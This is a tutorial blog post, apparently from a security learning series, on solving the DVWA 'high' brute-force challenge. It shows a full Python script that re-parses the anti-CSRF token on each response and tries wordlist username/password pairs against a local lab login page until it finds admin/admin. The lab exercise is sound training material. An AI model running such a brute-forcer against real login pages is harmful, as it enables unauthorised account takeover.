Look at source code rendered of login page at high level, we see a token “user_token” is generated to protect CSRF. But it  can not protect bruce force attack because we can get the token and send it back to server that I mentioned on previous post.

How can we exploit this challenge ?

We do not know user/password. So we have a method to guest it, but it is very difficult to guest and do login many times by manually. We need to have a tool to make it automatically and based on possible dictionary or bruce force according to combination of characters for user/pass. On this demo we will use the first method, because It takes less time than the second method to run. And hope it work with our current dictionary. Of course we need to create a wordlist that it is possible to increase success.

Let’s do it.

I just created a simple script to try to use a wordlist with combination user/pass and send it to server to check if there is a combination is correct. We check if login is success by look for string “Welcome to the password protected area admin” like below image:

There are 4 steps we need to do:

  • Prepare a wordlist
  • Get content of login page
  • Parse token
  • Make a request with the found token associate with user/pass then check it login successfully or not.
#!/usr/local/Cellar/python/2.7.11/Frameworks/Python.framework/Versions/2.7/bin/python2.7
from sys import argv
import requests
from bs4 import BeautifulSoup as BS

# Set up params
script, word_list, message = argv
token_field = 'user_token'
bs_parser = 'html.parser'
login_link = 'http://pentest.wp/dvwa/vulnerabilities/brute/index.php'
session = 'nn0livuju511ajakdc5aadkr00'
cookie = {'security': 'high', 'PHPSESSID': session}

# Find token of page
def find_token(content):
    bs_content = BS(content, bs_parser);
    return bs_content.findAll(attrs={"name": token_field})[0].get('value')

# Check login is successful
def check_login(content):
    bs_content = BS(content,bs_parser);
    return bs_content.body.findAll(text=message)

# Get content
request = requests.Session()
def get_content(link,params = {}):
    login_page = request.get(link, cookies=cookie,params = params)
    return login_page.text

# Loop over word list
with open(word_list) as f:
    words = f.readlines()
words = [x.strip() for x in words]

users = words
passwords = words

# Make request
content = get_content(login_link)
token = find_token(content)
pass_found = False
for user in users:
    if not pass_found:
        for password in passwords:
            params = {'username': user, 'password': password, 'Login': 'Login', 'user_token': token}
            print "sending account " + user + "/" + password + " with token " + token
            content = get_content(login_link,params)
            if not check_login(content):
                token = find_token(content)
            else:
                print '=======>>>Account is found <<<=======: ' + user + '/' + password
                pass_found = True
                break
     else:
        break
if not pass_found:
    print 'Good luck next time!'

Get full source code from my Github

Look at above script. We loaded the wordlist, loop over them and used a lib is BeautifulSoup to get parse the token, send request then check if response contain string “Welcome to the password protected area admin“.

Run it and check result

We got user/pass : admin/admin

Advertisements